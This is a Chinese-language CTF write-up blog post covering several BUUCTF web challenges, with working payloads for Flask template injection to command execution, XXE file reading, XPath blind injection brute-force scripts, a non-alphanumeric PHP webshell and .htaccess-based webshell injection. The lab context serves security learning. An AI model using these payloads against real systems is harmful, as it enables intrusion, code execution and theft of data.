BUUCTF(11.14-11.22)

Posted 长球的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF(11.14-11.22)相关的知识,希望对你有一定的参考价值。

记:上周抽空刷的BUU题目,记录一下解题过程的同时与大家分享交流

[Zer0pts2020]Can you guess it?

一个查询页面,提交东西提示wrong

有个源码链接,我们点开看一下

<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\\.php\\/*$/i', $_SERVER['PHP_SELF'])) 
  exit("I don't know what you are thinking, but I won't let you read it :)");

if (isset($_GET['source'])) 
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) 
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) 
    $message = 'Congratulations! The flag is: ' . FLAG;
   else 
    $message = 'Wrong.';
  

?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message))  ?>
    <p><?= $message ?></p>
<?php  ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

看提示说是flag在config.php里,现在就是要考虑如何访问
我试了试直接访问

http://411cb6a3-6152-413f-b8cd-f20124132402.node4.buuoj.cn:81/index.php/config.php
//I don't know what you are thinking, but I won't let you read it :)

我们看下代码
发现有个没见过的basename()函数

basename() 函数返回路径中的文件名部分。

括号里面的$_SERVER[‘PHP_SELF’]的作用是,获取当前页面地址,是当前 php 文件相对于网站根目录的位置地址

比如 p a t h 是 / v a r / w w w / h t m l / i n d e x . p h p , 那 么 ‘ b a s e n a m e ( path是/var/www/html/index.php,那么`basename( path/var/www/html/index.phpbasename(path);` 就是index.php

我们要想访问config,但是config.php被正则过滤了

本题目利用的是basename()漏洞

用不可显字符绕过正则(后面加 %80 – %ff 的任意字符)

构造

/index.php/config.php/%ff?source

因为index.php?source读取源码的,所以我们构造上面的链接。
即可出来flag

知识点:

php5.3:basename()函数漏洞
$_SERVER[‘PHP_SELF’]全局变量

[CSCCTF 2019 Qual]FlaskLight

一眼模板注入,F12看到变量名search,和GET

于是测试

?search=7*7

执行了
于是我们

a. 获取变量[]所属的类名 [].class

    页面回显 <type 'list'>

    b. 获取list所继承的基类名 [].__class__.__base__

    页面回显 <type 'object'>

    c. 获取所有继承自object的类 [].__class__.__base__.__subclasses__()

经过查询后,可以借助的类<class ‘warnings.catch_warnings’>,没有内置os模块在第59位。<class ‘site._Printer’> 内含os模块 在第71位,可以借助这些类来执行命令

71位的payload

看目录

  [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()

bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
看看flasklight

[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()

app.py coomme_geeeett_youur_flek
肯定是长的那个,我们直接读取一下

[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()

但我试了没有成功不知道为啥
我们再看没含os的

[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
    PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
    b. 读取目录flasklight
          [].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls  /flasklight').read()")
cat
          [].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat  /flasklight/coomme_geeeett_youur_flek ').read()")

贴一个博客,感觉可以看出上面os模块的为啥不行

https://www.cnblogs.com/Article-kelp/p/14797393.html

[watevrCTF-2019]Cookie Store

进去是个购买页面,显示我们钱50,是不够买flag的,抓包买一个1块钱的东西看一下

回显

eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==

base64解码一下

"money": 48, "history": ["Yummy chocolate chip cookie", "Yummy chocolate chip cookie"]

可以联想到是一个很简单的cookie伪造,我们解码后改一下需要的钱将id按顺序改成2
发包解码出现flag

[RootersCTF2019]I_❤️_Flask

开局模板注入

由于不知道传参的变量名,所以利用了工具arjun来爆破url参数

爆破出来参数name

接下来就是

http://58551dce-c669-4230-8a03-dfba594caf8e.node4.buuoj.cn:81/?name=7*7

回显49,说明可行

/?name=().__class__.__bases__[0].__subclasses__()

进一步

name=().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

发现flag.txt
直接cat

?name=().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag.txt').read()")

BJDCTF2020]EzPHP

啥都没有看源码

 GFXEIM3YFZYGQ4A= 
base32解码
1nD3x.php

于是我们看下

<?php
highlight_file(__FILE__);
error_reporting(0); 
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER)  
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\\.|\\"|\\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 

if (!preg_match('/http|https/i', $_GET['file'])) 
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')  
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
     
 else die('fxck you! What do you want to do ?!');
if($_REQUEST)  
    foreach($_REQUEST as $value)  
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
     
 
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

if ( sha1($shana) === sha1($passwd) && $shana != $passwd )
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
 else
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\\`|\\|\\%|x|\\&|\\$|\\*|\\||\\<|\\"|\\'|\\=|\\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\\.|log|\\^/i', $arg) )  
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
 else  
    include "flag.php";
    $code('', $arg); 
 ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

代码审计,可以看到过滤了好多东西
首先

f($_SERVER)

之前有过类似的题,可以通过url编码绕过

(preg_match(’/^aqua_is_cute$/’, $_GET[‘debu’]) && $_GET[‘debu’] !== ‘aqua_is_cute’)

限定了开头,我们可以换行符绕过

?debu=auqa_is_cute%0a

if($_REQUEST) foreach($_REQUEST as $value) if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!');
这里变量覆盖漏洞,之前也做过类似的

同时GET和POST同一个参数就可以绕过

file_get_contents($file) !== 'debu_debu_aqua'

我们可以data协议绕过

sha1($shana) === sha1($passwd) && $shana != $passwd

数组绕过

看到这属实麻了,太多东西了不知道如何构造,看完payload后更乱了

[HarekazeCTF2019]encode_and_encode

源码

<?php
error_reporting(0);
if (isset($_GET['source'])) 
  show_source(__FILE__);
  exit();

function is_valid($str) 
  $banword = [
    // no path traversal
    '\\.\\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) 
    return false;
  
  return true;

$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) 
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) 
    $content = "<p>not found</p>\\n";
  
 else 
  $content = '<p>invalid request</p>';

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\\.+\\/i', 'HarekazeCTF&lt;censored&gt;', $content);
echo json_encode(['content' => $content]);

body获取post数据, 对body变量进行json解码判断body变量是否有效,json数据要有page
从page中读出文件名,并读取文件,检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过如果查到content里有相关的ctf字样,则用censored替代,最后输出

我们利用josn转义绕过,

 "page" : "\\u0070\\u0068\\u0070://filter/convert.base64-encode/resource=/\\u0066\\u006c\\u0061\\u0067"

直接伪协议读取

[SUCTF 2018]GetShell

考察无字符的一句话木马

有个文件上传点和一串代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"]))
    $data=substr($contents,5);
    foreach ($black_char as $b) 
        if (stripos($data, $b) !== false)
            die("illegal char");
        
         
 

直接上传一句话,发现可以上传,但是检测非法字符
尝试很多次之后感觉把什么都给过滤了,考虑到是无字符过滤,之前看过一个博客讲的很详细

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

于是我们可以编图片马

<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

访问上传地点直接post
a=env出flag

[CSAWQual 2019]Web_Unagi

该 XML 文件并未包含任何关联的样式信息。文档树显示如下。 
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

写个XML文件

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

转换成utf-16编码绕过

 iconv -f utf8 -t utf-16 2.xml>1.xml

上传1.xml即可

[NPUCTF2020]ezlogin

考察一个没见过的知识点xpath注入

一个登陆界面,奇怪的一点是一定时间内就让刷新页面登陆超时,推测登录的时候一个session只能存在一定的时间

我们抓包试一试

发现了比较奇怪的一段

<username>admin</username><password>admin</password><token>40021de56c0a2bc8386111891TYzNjg2</token>

这里参考博客https://www.cnblogs.com/backlion/p/8554749.html

推测是xpath类型的注入

xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注

找到了网上有爆破脚本

import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring(target,index,1)='char' or '"

chars = string.ascii_letters+string.digits



def get_csrf():
    res = session.get(base_url, headers='User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
                                         'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993').text
    return re.findall('<input.*value="(.*?)"./>', res)[0]



target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '<username>username</username><password>1</password><token>token</token>'

result = 'cf7414b5bdb2e65ee43'
headers = 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
           'Content-Type': 'application/xml',
           'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'
for i in range(20, 35):
    for j in chars:
        time.sleep(0.2)
        temp_payload = payload.format(target=target, index=str(i), char=j)

        token = get_csrf()

        temp_data = data.format(username=temp_payload, token=token)
        res = session.post(url=base_url+'login.php',
                           data=temp_data, headers=headers)
        # print(temp_data)
        # print(res.text)
        # print(len(res.text))
        if len(res.text) == 5:
            result += j
            break
    print(result)

上面这个不太好用

import requests
import re
s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'

head =
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"

find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

flag =''
for i in range(1,100):
    for j in strs:
        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), , 1)=''  or ''='</username><password>3123</password><token></token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), , 1)=''  or ''='</username><password>3123</password><token></token>".format(i,j,token[0])
        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), , 1)=''  or ''='</username><password>3123</password><token></token>".format(i,j,token[0])
        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), , 1)=''  or ''='</username><password>3123</password><token></token>".format(i,j,token[0])
        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), , 1)=''  or ''='</username><password>3123</password><token></token>".format(i,j,token[0])
        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), , 1)=''  or ''='</username><password>3123</password><token></token>".format(i,j,token[0])

        print(payload_password)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)

        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break
    if "用户名或密码错误!" in r.text:
        break
print(flag)

注意:爆破的时候要注释其他的payload
跑出来

<root>
      <accounts>
            <user>
                  <id></id>
                  <username>gtfly123</username>
                  <password>e10adc3949ba59abbe56e057f20f883e</password>
            </user>
            <user>
                  <id></id>
                  <username>adm1n</username>
                  <password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
            </user>
      </accounts>
</root>

密码MD5解密后就是gtfly123
进去看源码

ZmxhZyBpcyBpbiAvZmxhZwo=

BASE64解码

flag is in /flag

因为url里有file=,据此我们推测是否能有伪协议

?file=pHp://filter/convert.bASe64-encode/resource=/flag

测试大小写可以绕过
ZmxhZ3thYTA1MmYwMC1jYTg5LTRjYmYtOTExYS1jNmIyOTA4MjM5Yzh9Cg==

解码

flagaa052f00-ca89-4cbf-911a-c6b2908239c8

[羊城杯2020]easyphp

<?php
    $files = scandir('./'); 
    foreach($files as $file) 
        if(is_file($file))
            if ($file !== "index.php") 
                unlink($file);
            
        
    
    if(!isset($_GET['content']) || !isset($_GET['filename'])) 
        highlight_file(__FILE__);
        die();
    
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) 
        echo "Hacker";
        die();
    
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\\.]/", $filename) == 1) 
        echo "Hacker";
        die();
    
    $files = scandir('./'); 
    foreach($files as $file) 
        if(is_file($file))
            if ($file !== "index.php") 
                unlink($file);
            
        
    
    file_put_contents($filename, $content . "\\nHello, world");
?>

看完源码,发现只有index.php能够被解析执行
根据这个条件,我们利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数;先写入.htaccess,再直接通过php://filter伪协议写入一句话

写入shell参考

https://blog.csdn.net/LYJ20010728/article/details/116538926

先写入.htaccess

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\\\\&f ilename=.htaccess

再直接通过php://filter伪协议写入一句话

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

但上面方法我没有成功

方法二#

可以通过对过滤的关键字中间添加换行\\n来绕过stristr函数的检测,不过仍然需要注意添加\\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell

?content=php_value%20auto_prepend_fil\\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\\&filename=.htaccess

flag2cbbcf14-ca35-4676-a652-fe99370be983

以上是关于BUUCTF(11.14-11.22)的主要内容,如果未能解决你的问题,请参考以下文章

BuuCTF Web Writeup 第二部分

BUUCTF--checkin

[BUUCTF][HITCON 2017]SSRFme

BUUCTF-[HCTF 2018]WarmUp

[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool